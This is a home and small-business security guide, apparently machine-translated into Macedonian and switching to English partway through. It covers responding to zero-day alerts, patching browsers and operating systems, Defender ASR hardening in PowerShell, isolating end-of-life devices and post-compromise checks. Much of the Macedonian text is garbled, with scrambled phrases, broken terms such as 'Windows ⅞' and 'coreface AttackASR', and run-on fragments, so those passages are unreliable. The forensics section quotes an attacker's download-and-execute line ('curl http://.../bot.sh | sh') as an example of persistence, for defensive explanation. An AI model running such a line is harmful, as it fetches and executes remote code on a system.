Предупредувања за ранливост на нула ден, поправка за итни случаи и изолација на мрежата¶

Се разбудивме со итно советување за сајбер-безбедност од Американската агенција за кибер-безбедност и инфраструктурна безбедност (CISA), Националниот центар за сајбер безбедност на ОК (NCSC), Apple, Google или Microsoft предупредуваат дека критична неулта-ден ранливост (0-Day) се активно експлоатирана во дивината (KEV(NAS) возење или откривање дека вашиот домашен Wi-Fi рутер, безбедносната камера NVR или постар компјутер дошол до крајот на животот (EoL / Крај на поддршката) и никогаш нема да добие лепенка за новооткриена грешка при извршување на кодот од далечина, бара итна тријажа. За разлика од рутинските месечни ажурирања на софтверот, активно експлоатираниот нулти ден значи дека актерите на закана веќе поседуваат работен вооружен експлоат (како што е искористување на анализаторот на слики со нула клик на iMessage/WhatsApp, злонамерна експлоатација на прелистувачот за прикажување на WebP/фонт или неавтентификувана WAN-апликација за заштита на рутите и бранителите на маршрутата). распореди поправка. Еднаш нула ден доказ за концепт (PoC) е објавено или додадено во ** CISA познати експлоатирани ранливости (KEV) Каталог, автоматизирани ботнети (Mirai, Volt Typhoon, филијали на ransomware) скенирајте го целиот IPv4 интернет во рок од 15 до 45 минути за да го киднапирате секој незакрпен уред изложен на отворена мрежа.

Ако експлоатацијата на нула ден ја наруши опремата за безбедност на животот, болничките клинички системи или инфраструктурата на јавните комунални услуги или вклучува закани за физичка изнуда, јавете се на вашиот локален број за итни случаи (911 во САД и Канада, 112 низ Европската Унија, 999 во Обединетото Кралство) или консултирајте се со нашиот директориум на меѓународни броеви за итни случаи веднаш. За сите нула дневни предупредувања за потрошувачи, домашни канцеларии и мали бизниси и крај на животот (EoL) хардверски итни случаи, извршете го брзото поправање, привременото ублажување и работниот тек на изолацијата на мрежата подолу.

Направете го ова сега¶

1. Примени итен случај надвор од опсегот (OOB) закрпи И веднаш завршете го целосното рестартирање / рестартирање на прелистувачот: преземањето ажурирање за итни случаи е бескорисно додека не се вчита ранливиот код во RAM-от. На Chrome, Edge, Brave и Firefox, закрпениот нулти-ден останува експлоатиран во меморијата сè додека не кликнете на копчето горе десно „Повторно стартувајте за ажурирање“ (chrome://settings/help). На iOS, macOS, Windows и Android, активирајте го ажурирањето рачно и ** целосно рестартирајте го уредот** (што исто така го чисти шпионскиот софтвер кој не е постојана меморија).
2. Доколку нулта-ден сè уште нема достапна лепенка („Незакрпена 0-ден“), применете ја привремената замена или намалување на површината на напад на продавачот (ASR) правило денес: кога ќе се открие ранливост пред да се компајлира закрпата, CISA и продавачот објавуваат привремено ублажување (како што е оневозможување на UPnP и WAN далечински управувач на рутер, вклучување Apple Lockdown Mode на iOS/macOS, оневозможување на EDPU специфична порта на JIT/Chrome. заштитен ѕид).
3. ** Вклучете ја ревизијата на вашата јавна IP адреса Shodan.io или GRC ShieldsUP токму сега и затворете ги сите изложени WAN порти (Port Forwarding / UPnP / DMZ(QNAP / Synology NAS дискови, ASUS / Netgear / TP-Link административни страници за рутер, Plex, RDP Port 3389, или VPN апарати). Најавете се на вашиот рутер и оневозможете Далечинска WAN администрација, UPnP (универзално Plug and Play) и DMZ Host веднаш по нашата Водич за обезбедување на домашни рутери и уреди за IoT.
4. Веднаш рестартирајте ги мобилните телефони и рутерот ако се сомневате дека шпионски софтвер со нула клик или инфекција со ботнет: софистицирани нула-ден експлоатира против паметните телефони (Pegasus, Predator, Triangulation) и SOHO рутери (VPNFilter, KV Botnet) често работи чисто внатре испарливи RAM за да се избегне откривање на дискот. Целосно исклучување на уредот, чекање 60 секунди и повторно вклучување го принудува напаѓачот повторно да го експлоатира уредот (што не успева откако ќе се активираат закрпи за итни случаи или режимот за заклучување).
5. Претпоставете дека закрпувањето на нултиот ден НЕ го исфрла напаѓачот кој веќе го нарушил вашиот уред пред да го закрпите: софтверската закрпа го затвора отворениот прозорец, но не отстранува задни врати, веб школки, непријателските администраторски сметки или украдени колачиња за сесии создадени ако напаѓачот го експлоатирал вашиот систем вчера. Ако вашиот рутер, NAS, VPN или сервер биле изложени на интернет додека не биле автентицирани CVSS 9.8+ нултиот ден беше активен во дивината, проверете ги дневниците за Индикатори на компромис (IoCs), ротирајте ги сите ингеренции и ресетирајте ги фабричките или обновете ги ако се компромитирани.
6. Изолирајте го секој крај на животот (EoL) уред кој повеќе не може да прима безбедносни закрпи на строг Guest/IoT VLAN со блокиран WAN пристап до Интернет: Никогаш не оставајте компјутер со Windows ⅞/10 на крајот на животот, неподдржан стар Mac, застарен Android/iPhone или прекинат Wi-Fi рутер директно поврзан на вашата главна LAN или отворен интернет. Ако EoL рутерот е вашиот главен интернет портал, исклучете го и заменете го веднаш.

Дрво на одлуки: итна тријажа за активни нулти дневни предупредувања и крај на животот (EoL) хардвер¶

Следете го ова структурирано стебло на одлуки секогаш кога итно советување за ранливоста или известување за крајот на животот влијае на вашиот софтвер или хардвер:

flowchart TD
    Alert["Најавено предупредување за итен нула ден (0-ден) или CISA KEV за вашиот ОС, прелистувач, рутер или NAS"] --> PatchCheck{"1. Дали продавачот објави безбедносна закрпа за итни случаи?"}
    PatchCheck -->|"Да: Достапна е закрпа"| Exposure{"2. Дали вашиот уред бил директно изложен на Интернет (отворена порта WAN) пред да се закрпи?"}
    Exposure -->|"Не: Клиент уред зад NAT (телефон, лаптоп, прелистувач)"| Apply["Инсталирајте го ажурирањето преку Native Settings + Целосно рестартирање / Рестартирање на прелистувачот веднаш"]
    Exposure -->|"Да: Рутер, NAS, VPN или сервер за јавност"| Forensic["КРИТИЧНО: Крпењето сам не ги иселува напаѓачите. Проверете ги дневниците за веб-школки/нечесни администратори, закрпи, ротирачки клучеви или ресетирање на фабричките поставки"]
    PatchCheck -->|"Не: незакрпениот 0-ден или уред е крај на животот (EoL)"| EoLCheck{"3. Дали уредот е трајно крај на животниот век (EoL) или чека закрпа од продавачот?"}
    EoLCheck -->|"Се чека закрпа од добавувачот (привремен 0-дневен прозорец)"| Mitigate["Примени решение за итни случаи: затворете ги WAN портите, овозможете го режимот за заклучување на Apple / Windows ASR или оневозможете ранлива услуга"]
    EoLCheck -->|"Трајно крај на животот (никогаш нема да дојде лепенка)"| Role{"4. Каква улога игра уредот EoL?"}
    Role -->|"Раб рутер / заштитен ѕид / модем"| Replace["ИСКЛУЧЕТЕ ГО И ЗАМЕНЕТЕ ВЕДНАШ (Или фирмверот OpenWrt поддржан Flash ако е компатибилен со хардвер)"]
    Role -->|"Наследен компјутер, стар телефон, печатач, камера или NAS"| Isolate["Air-Gap или преместете се во изолиран IoT VLAN + Блокирај пристап до Интернет на заштитниот ѕид на рутерот"]

Читање совет за нула ден како инженер за безбедност (декодирање CVE, CVSS, CISA KEV, и EPSS)¶

Не секоја софтверска ранливост пријавена во медиумите бара да се отфрли сè во 02:00 часот. Разбирање на петте технички индикатори во службеникот CISA, NIST NVD, или безбедносниот билтен на продавачот ви кажува за 30 секунди дали се соочувате со теоретска лабораториска грешка или со пожар во куќа со пет аларми:

Фаза 1: Итно нулта-ден закрпи и верификација на сите главни платформи¶

Кога активен нулти ден ќе го погоди вашиот оперативен систем или веб-прелистувач, не чекајте автоматско одржување преку ноќ (кои често ја одложуваат инсталацијата од 3 до 14 дена). Присилете го повлекувањето и рачно потврдете го бројот на изградбата:

1. Веб-прелистувачи (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): Целта број 1 за нултиот ден¶

Бидејќи веб-прелистувачите анализираат недоверлив JavaScript (V8 / SpiderMonkey / JavaScriptCore JIT компајлери), WebRTC видео преноси, WebGL графика и формати на слики (WebP, libvpx, FreeType) од секоја локација и реклама што ја посетувате, нулта-деновите на прелистувачот го опфаќаат најголемиот дел од нула-дневните предупредувања на потрошувачите. 1. ** Google Chrome **: напишете chrome://settings/help во лентата за адреси. Chrome веднаш ќе ги провери серверите за ажурирање на Google и ќе ја преземе лепенката. Мора да кликнете на синото копче „Рестартирај“ што се појавува, и ако имате скриени процеси на Chrome што се извршуваат во вашата системска фиока, затворете ги сите или рестартирајте го компјутерот така што старите ранливи chrome.exe бинарното е целосно истоварено од RAM меморијата. 2. Microsoft Edge: Тип edge://settings/help, почекајте преземањето да достигне 100%, и кликнете Рестартирај. 3. Храбар прелистувач: Тип brave://settings/help и кликнете Рестартирај. 4. Mozilla Firefox: Кликнете на копчето Мени -> Помош -> За Firefox (или напишете about:preferences#general -> скролувајте до Firefox Updates) и кликнете Рестартирај за да го ажурирате Firefox. 5. Apple Safari: Ажурирањата на Safari се комплетирани директно во Системските ажурирања за iOS, iPadOS и macOS (плус самостојни ажурирања на Safari под System Settings -> General -> Software Update за macOS Sonoma/Ventura).

2. Паметни телефони и таблети (Apple iOS / iPadOS и Google Android)¶

Мобилните нулти денови (особено со нула клик на iMessage, FaceTime, WebKit, бајбенд-модемот и недостатоците на системот Android / Qualcomm GPU) се многу користени од комерцијален шпионски софтвер (Pegasus, Predator) и насочени актери за закана. - ** Apple iPhone и iPad (iOS / iPadOS)**: 1. Отворете Поставки -> Општо -> Ажурирање на софтвер. 2. Вклучете Автоматски ажурирања -> Безбедносни одговори и системски датотеки (така што Apple Брзите безбедносни одговори / Подобрувањата за безбедност во заднина се применуваат автоматски помеѓу главните изданија на iOS). 3. Веднаш инсталирајте го ажурирањето на iOS што чека, што вклучува целосно рестартирање на јадрото. - Смартфони со Android (Google Pixel, Samsung Galaxy итн.): 1. Андроид всушност има два одделни канали за безбедносно ажурирање кои мора да ги проверите независно: - Канал А (Ниво на безбедносна закрпа на ОС): Отворете Поставки -> Безбедност и приватност -> Систем и ажурирања -> Безбедносно ажурирање (и проверете го датумот: треба да биде во последните 30 до 60 дена). - Канал Б (Ажурирање на системот на Google Play / Главна линија на проектот): Отворете Поставки -> Безбедност и приватност -> Систем и ажурирања -> Ажурирање на системот на Google Play. Многу критични нула денови во медиумските кодеци на Android, стекот на Wi-Fi и времето на работа се закрпени преку Ажурирањата на системот на Google Play без да се чека месечното ажурирање на фирмверот на вашиот оператор. Допрете Проверете дали има ажурирање, инсталирајте и Рестартирај сега.

3. Десктоп оперативни системи (Windows 10/11, macOS и Linux)¶

• Виндоус 10 и Виндоус 11:
• Отворете Поставки (Win + I) -> Windows Update -> Проверете дали има ажурирања.
• Исто така, проверете Windows Security -> заштита од вируси и закани -> Заштита надградби -> Проверете дали има ажурирања (Microsoft често испраќа итни нула-дневни откривања и виртуелни закрпи за ранливост во дневните Microsoft Defender Security Intelligence дефиниција надградби неколку часа пред да биде подготвен целосната кумулативна закрпа на Windows).
• Apple macOS:
• Отворете Apple Menu -> System Settings -> General -> Software Update. Погрижете се „Инсталирај безбедносни одговори и системски датотеки“ да е вклучено под информациите (i) копче.
• ** Линукс (Ubuntu / Debian и RHEL / Fedora)**:
• Извршете веднаш освежување на безбедносното складиште и проверете дали е јадро или споделена библиотека (glibc, openssl, openssh, xz, cups) потребно е рестартирање:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Фаза 2: Итни решенија кога сè уште НЕ постои лепенка (Преживување на прозорецот „Незакрпен нулти ден“)¶

Што правите кога CISA, Microsoft, Apple, или безбедносна фирма објави дека моментално активно се искористува критична ранливост, но продавачот вели дека официјалната закрпа нема да биде подготвена уште 3 до 10 дена? Мора веднаш да примените Компензирачки контроли и намалување на површината на напад (ASR) за да се прекине ланецот на експлоатација пред да може да се изврши:

Скрипта за копирање и залепување: стврднување за итни случаи на Windows PowerShell (ASR Правила)¶

Ако незакрпен Windows, Office или PDF zero-day циркулира во дивината и користите Windows 10/11 Pro/Enterprise (или користите Defender на Windows Home преку регистар/PowerShell), извршете ги овие команди во PowerShell (Стартувај како администратор) за да го активирате Microsoft Defender's coreface AttackASR) владее во Block режим (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Фаза 3: Што да направите кога вашиот уред ќе дојде до крајот на животот (EoL / Крај на поддршка)¶

Секое парче хардвер и софтвер на крајот стигнува до крајот на животот (EoL) или Крајна поддршка (EoS), датумот по кој производителот трајно престанува да објавува безбедносни закрпи, дури и кога е катастрофално CVSS 10.0 откриени се ранливости на нултиот ден. - Зошто крајот на животот е активен итен случај: Напаѓачите користат автоматско „Бинарно дифирање“ (BinDiff / Ghidra) на закрпи објавени за поддржани модели (на пример, Windows 11 или нов рутер TP-Link од 2025 година) за обратно инженерство на точната ранливост, а потоа веднаш активирање на таа експлоатација против моделите на крајот на животот (како што се Windows ⅞/непретплатените Windows 10-стари, старите Windows 5-години, кои ја споделуваат рутата, постарите оперативни системи) наследен код, но никогаш нема да ја добие закрпата („Forever-Day Exploits“).

Крајот на животот со 4 нивоа (EoL) Протокол за изолација и замена на хардвер¶

Користете ја оваа матрица на одлуки за да се справите со секој уред на крајот на животот во вашиот дом или канцеларија без да ризикувате прекршување на целата мрежа:

Како да го заклучите крајот на животот (EoL) Печатач, камера или NAS во „затвор само за локално ниво без Интернет“ на вашиот рутер¶

Ако имате постар мрежен печатач, паметен телевизор, IP безбедносна камера или наследен NAS-диск што сè уште работи добро локално на вашата домашна мрежа (LAN) но стигна до крајот на животот и никогаш нема да добие друга безбедносна лепенка, не мора да ја фрлите во ѓубре ако го блокирате да зборува со надворешниот интернет (WAN): 1. Најавете се во административната конзола на вашиот примарен Wi-Fi рутер. 2. Одете во LAN Settings / DHCP Server -> Static DHCP Lease (Reservation Address) и доделете го EoL уредот MAC Address постојана статична локална IP адреса (на пример, 192.168.1.240). 3. Одете во Firewall / Родителска контрола / Контрола на пристап / Сообраќајни правила ** во поставките на вашиот рутер: - Создадете правило за 192.168.1.240 (или нејзиниот MAC Address) поставено на Блокирај го целиот пристап до Интернет (WAN) (Outbound & Inbound WAN = DROP/REJECT). - Алтернативно, внатре во сопствените рачни мрежни поставки на уредот EoL, поставете ја неговата Статична IP на 192.168.1.240, Маска за подмрежа до 255.255.255.0, и ** оставете го Default Gateway и DNS Server полињата целосно празни (или поставете го Default Gateway на непостоечка IP како 192.168.1.254). Without a valid Default Gateway, the EoL printer or camera can still print from or stream to computers on your local 192.168.1.x subnet, but is physically incapable of routing packets out to the internet or being reached from the internet.

Phase 4: Post-exploitation forensics if your device was exposed before you patched¶

When a CVSS 9.8+ unauthenticated zero-day affects an internet-facing device (such as a home or small-business router, VPN gateway, QNAP / Synology NAS, Plex media server, or port-forwarded desktop), applying the vendor's firmware update only closes the front door. If an automated scanner hit your public IP address before you patched, the attacker may have already planted a persistent backdoor that survives a standard reboot. Execute this 4-step post-patch forensic audit:

1. Check for Unauthorized Administrator Accounts and SSH Keys:
2. Open the Users / Administrators management screen on your NAS, router, or computer and verify that no unfamiliar admin accounts (such as support, admin2, backup, или system) were created during the zero-day window.
3. On Linux/macOS/NAS systems, inspect -/.ssh/authorized_keys и /root/.ssh/authorized_keys to verify that no rogue public SSH keys were appended.
4. Audit Active Outbound Network Connections (netstat / Router Traffic Monitor) and DNS Settings:
5. Compromised SOHO routers and NAS appliances frequently have their Primary and Secondary WAN DNS Servers hijacked to point to a rogue IP address, or maintain a persistent reverse shell / botnet connection (SOCKS5 proxy or Tor relay).
6. Log into your router's WAN / Internet Settings and confirm that DNS is set to your ISP default or a verified public resolver (1.1.1.1, 8.8.8.8, или 9.9.9.9).
7. Check cron Jobs, Startup Scripts, and Web Root Directories for Web Shells:
8. Zero-day exploits against web-managed appliances almost always drop a tiny .php, .jsp, .aspx, или .cgi web shell into the device's web server directory or inject a persistent crontab download-and-execute line (curl http://.../bot.sh | sh).
9. If your router or NAS exhibits unexplained high CPU usage, strange outbound traffic spikes, or modified system binaries after a zero-day alert, do not trust an in-place firmware update alone: back up your pure user data files (photos and documents only, never system configuration backups that might contain the attacker's cron job), perform a full hardware Factory Reset, manually install the latest patched firmware from a clean computer, and set a brand-new administrator password and fresh MFA seed.
10. Rotate All Credentials Stored on or Passed Through the Vulnerable Device:
11. If an edge VPN appliance, router, or NAS was compromised prior to patching, any plaintext passwords, SMB network share credentials, cloud backup API keys (AWS S3, Backblaze B2, Wasabi), or SSL/TLS private keys stored on that device must be revoked and regenerated immediately.

Најчесто поставувани прашања¶

Does installing a zero-day patch remove hackers if my device was already exploited before I updated?¶

No. A software security patch only repairs the underlying code vulnerability so future exploit attempts fail; it does not evict an attacker who already exploited the vulnerability prior to patching and planted a persistent web shell, backdoor binary, scheduled task, or rogue administrator account, nor does it invalidate session cookies or passwords they already stole. If your device was directly exposed to the public internet (such as a router, NAS, VPN appliance, or public server) while an unauthenticated zero-day was actively exploited in the wild, you must inspect system logs for Indicators of Compromise (IoCs), rotate all passwords and SSH/API keys, and perform a clean factory reset or OS reinstallation if any unauthorized access occurred.

How can I check if my Wi-Fi router or computer has reached End-of-Life (EoL)?¶

Look at the manufacturer label on the bottom of your router (noting the exact Model Number and Hardware Revision, such as v1, v2, or v4) and check the manufacturer's official End-of-Life / End-of-Service Products List webpage (published by ASUS, Netgear, TP-Link, Linksys, D-Link, Synology, and QNAP), or check the community database at endoflife.date for operating systems, phones, and software. In addition, log into your router's firmware update screen: if the date of the most recent available firmware is more than 18 to 24 months old, treat the router as de facto End-of-Life and replace it or flash supported OpenWrt firmware.

Can I make an End-of-Life Windows 10 PC or old Mac safe without buying a new computer?¶

Yes. When Microsoft ends free consumer security support for a Windows version or Apple drops an older Intel or early Mac model from macOS updates, the physical computer hardware is fine; only the operating system is End-of-Life. You can either enroll a Windows 10 PC in Microsoft's official Extended Security Updates (ESU) program, or back up your files and install a modern, actively patched, free Linux operating system such as Linux Mint, Ubuntu LTS, Fedora, or Google ChromeOS Flex via a USB flash drive, which gives your existing laptop another 5 to 8 years of continuous zero-day kernel and browser security updates.

Проверени извори¶

• Агенција за сајбер безбедност и безбедност на инфраструктурата (CISA, United States): Known Exploited Vulnerabilities (KEV) Catalog, Binding Operational Directive BOD 22-01 (Намалување на значителниот ризик од познати експлоатирани ранливости) и BOD 23-02 (Ублажување на ризикот од интерфејси за управување кои се изложени на Интернет).
• Федерално биро за истраги (FBI), Агенција за национална безбедност (NSA), и Национален центар за сајбер безбедност на ОК (NCSC): Заедничко советување за сајбер-безбедност за ублажување на искористувањето на ботнетот на крајот на животот (EoL) SOHO рутери, огнени ѕидови и VPN уреди.
• Национален институт за стандарди и технологија (NIST, Соединетите Американски Држави): SP 800-40 Rev. 4, Водич за планирање за управување со закрпи на претпријатија: Превентивно одржување за технологија.
• Безбедност на платформата на Apple и лабораторија за граѓани (Универзитет во Торонто): Архитектура на режимот за заклучување на iOS/macOS и брз безбедносен одговор Упатства за ублажување на шпионски софтвер со нула-клик.
• Центар за одговор за безбедност на Microsoft (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Референца за распоредување за ублажување на нула-ден и надвор од опсегот (OOB) Упатство за безбедносно ажурирање.

Поврзани водичи¶

• Обезбедување на домашни рутери, паметни телевизори и IoT уреди
• Отстранување на инфекции со малициозен софтвер, откуп и шпионски софтвер
• Откривање на софтвер, шпионски и тастатура на телефони
• Одговор за прекршување на податоци, протечени лозинки и замрзнување на кредити
• Броеви за итни случаи по земја